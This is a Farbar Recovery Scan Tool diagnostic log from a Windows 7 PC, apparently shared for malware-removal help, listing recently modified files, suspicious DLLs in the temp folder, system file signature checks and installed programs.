2014-07-15 13:03 - 2014-07-15 13:03 - 00000000 ____D () C:\Users\Dennis\Downloads\MiniRegTool64
2014-07-15 13:01 - 2014-02-12 04:41 - 00000894 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2014-07-15 12:51 - 2014-02-12 04:41 - 00000898 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2014-07-15 07:25 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2011
2014-07-15 07:13 - 2014-01-08 09:38 - 00000000 ____D () C:\Users\Dennis\Documents\2014
2014-07-15 07:08 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2013
2014-07-15 05:55 - 2013-04-22 23:29 - 00000000 ___RD () C:\Users\Dennis\Dropbox
2014-07-15 05:48 - 2009-07-14 00:45 - 00014480 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2014-07-15 05:48 - 2009-07-14 00:45 - 00014480 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2014-07-15 05:40 - 2014-05-03 06:00 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\DropboxMaster
2014-07-15 05:40 - 2013-04-22 23:25 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\Dropbox
2014-07-15 05:39 - 2014-04-20 08:20 - 00001004 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Client.lnk
2014-07-15 05:39 - 2014-04-20 08:20 - 00000988 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\LogMeIn Control Panel.lnk
2014-07-15 05:39 - 2013-04-06 19:10 - 00000000 ____D () C:\ProgramData\LogMeIn
2014-07-15 05:38 - 2014-07-08 11:17 - 00001176 _____ () C:\Windows\setupact.log
2014-07-15 05:38 - 2009-07-14 01:08 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2014-07-14 07:58 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2002
2014-07-14 07:10 - 2013-06-24 08:17 - 00000000 ____D () C:\Users\Dennis\AppData\Local\CrashDumps
2014-07-13 09:53 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2003
2014-07-12 15:27 - 2014-04-20 06:08 - 00000540 _____ () C:\Windows\ABOSS14.INI
2014-07-12 07:37 - 2014-07-12 07:37 - 00261702 _____ () C:\Users\Dennis\Downloads\Pridemore estimate.tif
2014-07-12 07:37 - 2014-07-12 07:37 - 00084918 _____ () C:\Users\Dennis\Downloads\Pridemore since  1999.tif
2014-07-10 22:14 - 2013-04-12 12:21 - 00000000 ____D () C:\Users\Dennis\Documents\2012
2014-07-10 14:22 - 2014-07-09 21:36 - 00040796 _____ () C:\Users\Dennis\Downloads\Addition.txt
2014-07-10 14:00 - 2014-07-10 14:00 - 00010762 _____ () C:\Users\Dennis\Documents\Attach.txt
2014-07-10 13:58 - 2014-07-10 13:58 - 00010762 _____ () C:\Users\Dennis\Desktop\attach.txt
2014-07-10 13:57 - 2014-07-10 13:58 - 00012329 _____ () C:\Users\Dennis\Desktop\dds.txt
2014-07-10 13:55 - 2014-07-10 13:55 - 00688992 ____R (Swearware) C:\Users\Dennis\Downloads\dds.com
2014-07-10 06:15 - 2014-07-10 06:15 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (3).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394.ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (2).ugd
2014-07-10 06:14 - 2014-07-10 06:14 - 00014812 _____ () C:\Users\Dennis\Downloads\be9eaa782ffbcaa56e043eeff69c5394 (1).ugd
2014-07-10 03:00 - 2013-04-12 14:24 - 00000000 ____D () C:\ProgramData\TEMP
2014-07-10 00:57 - 2014-07-10 00:57 - 00053248 _____ () C:\ProgramData\e.dll
2014-07-09 21:52 - 2014-02-21 06:56 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2014-07-09 21:49 - 2014-07-07 09:58 - 00002990 _____ () C:\Windows\System32\Tasks\{8DC07200-A4A2-4054-8688-D500FC4CE4A8}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{ABD907FF-80B7-4405-97AC-528C8D8A12B3}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{9B61C97F-DABD-4F89-BB38-086A55D98E10}
2014-07-09 21:49 - 2014-07-07 09:56 - 00002990 _____ () C:\Windows\System32\Tasks\{75D03F6A-3B76-4EDC-9651-C33318F588F0}
2014-07-09 21:49 - 2014-04-20 06:05 - 00003038 _____ () C:\Windows\System32\Tasks\{F6F7F328-4F7E-4860-B2A1-8FAD48077CEC}
2014-07-09 21:49 - 2014-03-16 08:06 - 00002990 _____ () C:\Windows\System32\Tasks\{0F91A0D9-06EF-4DEA-8CDC-169F8A8FEB74}
2014-07-09 21:49 - 2013-04-27 12:58 - 00003038 _____ () C:\Windows\System32\Tasks\{F0F48981-20E6-4CB1-988C-A46C31DE401F}
2014-07-09 21:49 - 2013-04-22 22:10 - 00003060 _____ () C:\Windows\System32\Tasks\{63449390-988B-4A47-BF27-68587AD0A2DD}
2014-07-09 21:49 - 2013-04-12 13:09 - 00003770 _____ () C:\Windows\System32\Tasks\Adobe Flash Player Updater
2014-07-09 21:29 - 2013-08-01 16:08 - 00000000 ____D () C:\Qoobox
2014-07-09 21:28 - 2014-07-09 21:28 - 00019814 _____ () C:\ComboFix.txt
2014-07-09 21:20 - 2009-07-13 22:34 - 00000215 _____ () C:\Windows\system.ini
2014-07-09 21:19 - 2014-07-09 20:30 - 00001318 _____ () C:\Windows\PFRO.log
2014-07-09 21:05 - 2014-07-09 21:05 - 00001475 _____ () C:\Users\Dennis\Desktop\ComboFix - Shortcut.lnk
2014-07-09 20:50 - 2014-07-09 20:50 - 01285120 _____ () C:\Users\Dennis\Downloads\zoek.exe
2014-07-09 20:50 - 2014-07-09 20:50 - 00000002 _____ () C:\runcheck.txt
2014-07-09 20:50 - 2014-07-09 20:50 - 00000000 ____D () C:\zoek_backup
2014-07-09 20:37 - 2009-07-14 01:13 - 00783270 _____ () C:\Windows\system32\PerfStringBackup.INI
2014-07-09 20:29 - 2009-07-13 22:34 - 71827456 _____ () C:\Windows\system32\config\software.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 18874368 _____ () C:\Windows\system32\config\system.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00786432 _____ () C:\Windows\system32\config\default.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00262144 _____ () C:\Windows\system32\config\security.bak
2014-07-09 20:29 - 2009-07-13 22:34 - 00262144 _____ () C:\Windows\system32\config\sam.bak
2014-07-09 09:47 - 2013-08-01 16:08 - 00000000 ____D () C:\Windows\erdnt
2014-07-09 07:58 - 2014-07-09 07:58 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (2).exe
2014-07-09 07:57 - 2014-07-09 07:57 - 00001178 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\Users\Public\Desktop\TeamViewer 9.lnk
2014-07-09 07:57 - 2014-07-09 07:57 - 00001166 _____ () C:\ProgramData\Desktop\TeamViewer 9.lnk
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en.exe
2014-07-09 07:56 - 2014-07-09 07:56 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en (1).exe
2014-07-08 13:15 - 2014-07-09 21:05 - 05216105 ____R (Swearware) C:\Users\Dennis\Desktop\ComboFix.exe
2014-07-08 13:15 - 2014-07-08 13:15 - 05216105 ____R (Swearware) C:\Users\Dennis\Downloads\ComboFix.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 04764760 _____ () C:\Users\Dennis\Downloads\RogueKiller.exe
2014-07-08 12:52 - 2014-07-08 12:52 - 00029696 _____ () C:\Windows\SysWOW64\Drivers\TrueSight.sys
2014-07-08 12:52 - 2014-07-08 12:52 - 00000000 ____D () C:\ProgramData\RogueKiller
2014-07-08 12:46 - 2014-07-08 12:46 - 00000000 ____D () C:\Users\Dennis\Downloads\ProcessExplorer
2014-07-08 12:45 - 2014-07-08 12:45 - 01243655 _____ () C:\Users\Dennis\Downloads\ProcessExplorer.zip
2014-07-08 12:34 - 2014-07-08 10:01 - 00000000 ____D () C:\Program Files\CCleaner
2014-07-08 12:34 - 2013-08-01 16:39 - 00000000 ____D () C:\Windows\8AE3CFB678B24F55A7BE618FCFF43A03.TMP
2014-07-08 12:34 - 2013-06-06 01:51 - 00000000 ____D () C:\ProgramData\Norton
2014-07-08 12:34 - 2013-04-05 19:15 - 00000000 ____D () C:\Users\Dennis
2014-07-08 12:34 - 2009-07-13 23:20 - 00000000 ____D () C:\Windows\registration
2014-07-08 12:34 - 2009-07-13 23:20 - 00000000 ____D () C:\Windows\AppCompat
2014-07-08 12:24 - 2013-06-06 01:51 - 00000000 ____D () C:\Users\Dennis\AppData\Local\NPE
2014-07-08 12:09 - 2014-07-08 12:09 - 00000000 ____D () C:\NPE
2014-07-08 12:05 - 2014-07-08 12:05 - 03077584 ____N (Symantec Corporation) C:\Users\Dennis\Downloads\NPE.exe
2014-07-08 11:50 - 2013-04-12 15:13 - 00000000 ____D () C:\Windows\system32\appmgmt
2014-07-08 11:17 - 2014-07-08 11:17 - 00000000 _____ () C:\Windows\setuperr.log
2014-07-08 11:11 - 2014-07-08 11:11 - 00000000 ____D () C:\TDSSKiller_Quarantine
2014-07-08 10:53 - 2014-07-08 10:53 - 04181856 _____ (Kaspersky Lab ZAO) C:\Users\Dennis\Downloads\tdsskiller.exe
2014-07-08 10:37 - 2014-07-08 10:37 - 00107742 _____ () C:\Users\Dennis\Desktop\cc_20140708_103450.reg
2014-07-08 10:12 - 2013-05-06 10:10 - 00000000 ____D () C:\Windows\Minidump
2014-07-08 10:12 - 2013-04-12 14:44 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\DAEMON Tools Lite
2014-07-08 10:12 - 2013-04-12 13:24 - 00000000 ____D () C:\Users\Dennis\AppData\Roaming\FileZilla
2014-07-08 10:12 - 2013-04-05 08:17 - 00000000 ____D () C:\Windows\Panther
2014-07-08 10:02 - 2014-07-08 10:02 - 00002774 _____ () C:\Windows\System32\Tasks\CCleanerSkipUAC
2014-07-08 09:59 - 2014-07-08 09:59 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415 (1).exe
2014-07-08 09:57 - 2014-07-08 09:57 - 04812672 _____ (Piriform Ltd) C:\Users\Dennis\Downloads\ccsetup415.exe
2014-07-08 09:16 - 2014-07-08 09:16 - 11185664 _____ (SurfRight B.V.) C:\Users\Dennis\Downloads\HitmanPro_x64.exe
2014-07-08 09:13 - 2014-07-08 09:13 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (5).exe
2014-07-08 06:49 - 2014-07-08 06:49 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (4).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (3).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (2).exe
2014-07-08 06:47 - 2014-07-08 06:47 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj (1).exe
2014-07-08 06:05 - 2013-04-12 12:19 - 00000000 ____D () C:\Users\Dennis\Documents\2001
2014-07-07 20:14 - 2014-02-06 15:26 - 00000000 ____D () C:\AdwCleaner
2014-07-07 20:09 - 2014-07-07 20:09 - 01346519 _____ () C:\Users\Dennis\Downloads\AdwCleaner.exe
2014-07-07 20:03 - 2013-04-06 14:08 - 00000000 ____D () C:\ProgramData\Adobe
2014-07-07 20:03 - 2009-07-14 03:46 - 00000000 ____D () C:\Windows\CSC
2014-07-07 19:58 - 2014-06-02 22:12 - 00000000 ____D () C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA
2014-07-07 19:58 - 2014-05-31 00:25 - 00000000 ____D () C:\ProgramData\5270FA6688441313A39456CC4AFC776A
2014-07-07 16:42 - 2013-08-01 16:41 - 00000000 ____D () C:\ProgramData\Malwarebytes
2014-07-07 16:41 - 2014-07-07 16:41 - 17292760 _____ (Malwarebytes Corporation ) C:\Users\Dennis\Downloads\mbam-setup-2.0.2.1012.exe
2014-07-07 16:39 - 2014-07-07 16:39 - 00000000 ____D () C:\Users\Dennis\AppData\Local\Adobe
2014-07-07 16:35 - 2014-07-07 16:35 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\Users\Public\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2014-07-07 16:35 - 00002019 _____ () C:\ProgramData\Desktop\Adobe Reader XI.lnk
2014-07-07 16:35 - 2013-04-12 15:15 - 00000000 ____D () C:\Program Files (x86)\Adobe
2014-07-07 16:28 - 2014-07-07 16:28 - 06226040 _____ (TeamViewer GmbH) C:\Users\Dennis\Downloads\TeamViewer_Setup_en-ckj.exe
2014-07-03 08:08 - 2014-07-03 08:08 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2014-07-02 05:23 - 2014-07-02 05:23 - 17765797 _____ () C:\Users\Dennis\Downloads\41562.wmv
2014-07-01 09:18 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2004
2014-06-30 07:51 - 2013-10-31 06:08 - 00000529 _____ () C:\Windows\ABOSF14.INI
2014-06-30 05:46 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2007
2014-06-30 05:39 - 2013-06-09 10:25 - 00000000 ____D () C:\Users\Dennis\Documents\Grange Insurance
2014-06-26 14:45 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2008
2014-06-19 10:46 - 2013-04-12 13:09 - 00003894 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2014-06-19 10:46 - 2013-04-12 13:09 - 00003642 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2014-06-19 07:12 - 2013-04-12 12:20 - 00000000 ____D () C:\Users\Dennis\Documents\2010
2014-06-19 04:31 - 2014-06-19 04:31 - 04028598 _____ () C:\Users\Dennis\Downloads\Life_in_Detroit.mp4
 
Files to move or delete:
====================
C:\ProgramData\e.dll
C:\Users\Office 2007 Enterprise\setup.exe
 
 
Some content of TEMP:
====================
C:\Users\Dennis\AppData\Local\temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpzyzxsy.dll
C:\Users\Dennis\AppData\Local\temp\e.dll
C:\Users\Dennis\AppData\Local\temp\fik.dll
C:\Users\Dennis\AppData\Local\temp\fwbch.dll
C:\Users\Dennis\AppData\Local\temp\hiv.dll
C:\Users\Dennis\AppData\Local\temp\los.dll
C:\Users\Dennis\AppData\Local\temp\mkg.dll
C:\Users\Dennis\AppData\Local\temp\ndcyu.dll
C:\Users\Dennis\AppData\Local\temp\Svchost.exe
C:\Users\Dennis\AppData\Local\temp\txwx.dll
C:\Users\Dennis\AppData\Local\temp\uek.dll
C:\Users\Dennis\AppData\Local\temp\wcrash.exe
C:\Users\Dennis\AppData\Local\temp\wonoq.dll
 
 
==================== Bamital & volsnap Check =================
 
C:\Windows\System32\winlogon.exe => File is digitally signed
C:\Windows\System32\wininit.exe => File is digitally signed
C:\Windows\SysWOW64\wininit.exe => File is digitally signed
C:\Windows\explorer.exe => File is digitally signed
C:\Windows\SysWOW64\explorer.exe => File is digitally signed
C:\Windows\System32\svchost.exe => File is digitally signed
C:\Windows\SysWOW64\svchost.exe => File is digitally signed
C:\Windows\System32\services.exe => File is digitally signed
C:\Windows\System32\User32.dll => File is digitally signed
C:\Windows\SysWOW64\User32.dll => File is digitally signed
C:\Windows\System32\userinit.exe => File is digitally signed
C:\Windows\SysWOW64\userinit.exe => File is digitally signed
C:\Windows\System32\rpcss.dll => File is digitally signed
C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed
 
 
LastRegBack: 2014-07-09 10:04
 
==================== End Of Log ============================
 
Additional 
 
Additional scan result of Farbar Recovery Scan Tool (x64) Version: 15-07-2014
Ran by Dennis at 2014-07-15 13:18:02
Running from C:\Users\Dennis\Downloads
Boot Mode: Normal
==========================================================
 
 
==================== Security Center ========================
 
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
FW: Endpoint Security by Bitdefender Firewall (Enabled) {A23392FD-84B9-F933-2C71-81E751F6EF46}
 
==================== Installed Programs ======================
 
64 Bit HP CIO Components Installer (Version: 13.2.1 - Hewlett-Packard) Hidden
7500_7600_7700_Help1 (x32 Version: 1.00.0000 - Hewlett-Packard) Hidden
ABOS Fall/Winter MY2014 (HKLM-x32\...\{CDA43CE2-2338-4501-A8E7-18D6FD8805E1}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2012 (HKLM-x32\...\{A08C0E2E-FB61-4FF1-821E-B663FAFB8608}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2013 (HKLM-x32\...\{D6065C9C-BAFC-460B-A7A0-2B8078BE7402}) (Version: 2.0.0 - Penton Media, Inc.)
ABOS Spring/Summer MY2014 (HKLM-x32\...\{6749E6BA-67B4-40BE-97EA-E7EAD683E383}) (Version: 2.0.0 - Penton Media, Inc.)
Adobe Flash Player 13 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 13.0.0.214 - Adobe Systems Incorporated)
Adobe Reader XI (11.0.07) (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.07 - Adobe Systems Incorporated)
Apple Application Support (HKLM-x32\...\{46F044A5-CE8B-4196-984E-5BD6525E361D}) (Version: 2.3.6 - Apple Inc.)
Apple Mobile Device Support (HKLM\...\{2EF5D87E-B7BD-458F-8428-E4D0B8B4E65C}) (Version: 7.0.0.117 - Apple Inc.)
Apple Software Update (HKLM-x32\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)
ATI Catalyst Install Manager (HKLM\...\{CCC50A42-892B-AF23-6188-6E8D2FDF34E3}) (Version: 3.0.754.0 - ATI Technologies, Inc.)
ATI Catalyst Registration (x32 Version: 2.01.0000 - ATI Technologies Inc.) Hidden
Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)
bpd_scan_Carrier (x32 Version: 3.00.0000 - Hewlett-Packard) Hidden
BPDSoftware (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
BPDSoftware_Ini (x32 Version: 1.00.0000 - Hewlett-Packard) Hidden
BufferChm (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
Catalyst Control Center - Branding (x32 Version: 1.00.0000 - ATI) Hidden
Catalyst Control Center Core Implementation (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Full Existing (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Full New (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Light (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Previews Common (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center Graphics Previews Vista (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center HydraVision Full (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
Catalyst Control Center InstallProxy (x32 Version: 2009.1124.2131.38610 - ATI Technologies, Inc.) Hidden
CCC Help English (x32 Version: 2009.1124.2130.38610 - ATI) Hidden
ccc-core-static (x32 Version: 2009.1124.2131.38610 - ATI) Hidden
ccc-utility64 (Version: 2009.1124.2131.38610 - ATI) Hidden
CCleaner (HKLM\...\CCleaner) (Version: 4.15 - Piriform)
Common Desktop Agent (Version: 1.53.0 - OEM) Hidden
DAEMON Tools Lite (HKLM-x32\...\DAEMON Tools Lite) (Version: 4.47.1.0333 - Disc Soft Ltd)
Destinations (x32 Version: 130.0.0.0 - Hewlett-Packard) Hidden
DeviceDiscovery (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
DocProc (x32 Version: 140.0.100.000 - Hewlett-Packard) Hidden
Dragon NaturallySpeaking 12 (HKLM-x32\...\{D5D422B9-6976-4E98-8DDF-9632CB515D7E}) (Version: 12.50.000 - Nuance Communications Inc.)
Dropbox (HKCU\...\Dropbox) (Version: 2.8.2 - Dropbox, Inc.)
Endpoint (Version: 5.3.1 - Bitdefender) Hidden
Endpoint Security by Bitdefender (HKLM\...\Endpoint Security) (Version: 5.3.1.335 - Bitdefender)
Fax (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
FileZilla Client 3.6.0.2 (HKLM-x32\...\FileZilla Client) (Version: 3.6.0.2 - FileZilla Project)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 35.0.1916.153 - Google Inc.)
Google Update Helper (x32 Version: 1.3.24.15 - Google Inc.) Hidden
GPBaseService2 (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
HP Customer Participation Program 14.0 (HKLM\...\HPExtendedCapabilities) (Version: 14.0 - HP)
HP Imaging Device Functions 14.0 (HKLM\...\HP Imaging Device Functions) (Version: 14.0 - HP)
HP OfficeJet L7300/L7500/7600/7700 (HKLM\...\{9D6C64CC-EA60-47A6-9C97-82C38231EDAE}) (Version: 14.0 - HP)
HP Smart Web Printing 4.60 (HKLM\...\HP Smart Web Printing) (Version: 4.60 - HP)
HP Solution Center 14.0 (HKLM\...\HP Solution Center & Imaging Support Tools) (Version: 14.0 - HP)
HP Update (HKLM-x32\...\{74DC0593-6BC6-4001-AD5F-D810AFB68D86}) (Version: 5.002.002.002 - Hewlett-Packard)
HPDiagnosticAlert (x32 Version: 1.00.0000 - Microsoft) Hidden
HPProductAssistant (x32 Version: 140.0.213.000 - Hewlett-Packard) Hidden
HPSSupply (x32 Version: 140.0.212.000 - Hewlett-Packard) Hidden
ImgBurn (HKLM-x32\...\ImgBurn) (Version: 2.5.7.0 - LIGHTNING UK!)
iTunes (HKLM\...\{D601CEAD-2E4F-4BBB-85CC-C29A4CE6A3C0}) (Version: 11.1.3.8 - Apple Inc.)
L7600 (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
LogMeIn (HKLM-x32\...\{0330FC8D-EDB2-455E-A3DC-B56DD107E4BC}) (Version: 4.1.2694 - LogMeIn, Inc.)
MarketResearch (x32 Version: 140.0.214.000 - Hewlett-Packard) Hidden
Microsoft .NET Framework 4 Client Profile (HKLM\...\Microsoft .NET Framework 4 Client Profile) (Version: 4.0.30319 - Microsoft Corporation)
Microsoft .NET Framework 4 Client Profile (Version: 4.0.30319 - Microsoft Corporation) Hidden
Microsoft .NET Framework 4 Extended (HKLM\...\Microsoft .NET Framework 4 Extended) (Version: 4.0.30319 - Microsoft Corporation)
Microsoft .NET Framework 4 Extended (Version: 4.0.30319 - Microsoft Corporation) Hidden
Microsoft MapPoint North America 2010 (HKLM-x32\...\{C82185E8-C27B-4EF4-2010-1111BC2C2B6D}) (Version: 17.0.18.2200 - Microsoft Corporation)
Microsoft Mouse and Keyboard Center (HKLM\...\Microsoft Mouse and Keyboard Center) (Version: 2.1.177.0 - Microsoft Corporation)
Microsoft Mouse and Keyboard Center (Version: 2.1.177.0 - Microsoft Corporation) Hidden
Microsoft Office 2007 Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
Microsoft Office 2007 Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Microsoft Office Access database engine 2007 (English) (HKLM-x32\...\{90120000-00D1-0409-0000-0000000FF1CE}) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office Access MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Access Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office Enterprise 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Excel MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Groove MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Groove Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office InfoPath MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Office 64-bit Components 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office OneNote MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Outlook MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office PowerPoint MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (French) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proof (Spanish) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Proofing (English) 2007 (x32 Version: 12.0.4518.1014 - Microsoft Corporation) Hidden
Microsoft Office Proofing Tools 2007 Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Microsoft Office Publisher MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared 64-bit MUI (English) 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2007 (Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Shared Setup Metadata MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Office Word MUI (English) 2007 (x32 Version: 12.0.6612.1000 - Microsoft Corporation) Hidden
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.20513.0 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable Package (x32 Version: 1.0.0 - Microsoft Corporation) Hidden
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
MPM (HKLM-x32\...\{B5A4C902-1636-48DB-8E38-F0DB102DDB59}) (Version: 1.00.0000 - Hewlett-Packard)
MSXML 4.0 SP2 (KB954430) (HKLM-x32\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
MSXML 4.0 SP2 (KB973688) (HKLM-x32\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
MSXML 4.0 SP2 Parser and SDK (HKLM-x32\...\{716E0306-8318-4364-8B8F-0CC4E9376BAC}) (Version: 4.20.9818.0 - Microsoft Corporation)
Network64 (Version: 140.0.215.000 - Hewlett-Packard) Hidden
OCR Software by I.R.I.S. 14.0 (HKLM\...\HPOCR) (Version: 14.0 - HP)
PowerBoat Guide 2012 (HKLM-x32\...\PowerBoat Guide 2012) (Version: 2012 - American Marine Publishing, Inc.)
PowerBoat Guide 2013 (HKLM-x32\...\PowerBoat Guide 2013) (Version: 2013 - American Marine Publishing, Inc.)
ProductContext (x32 Version: 140.0.000.000 - Hewlett-Packard) Hidden
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 7.49.927.2011 - Realtek)
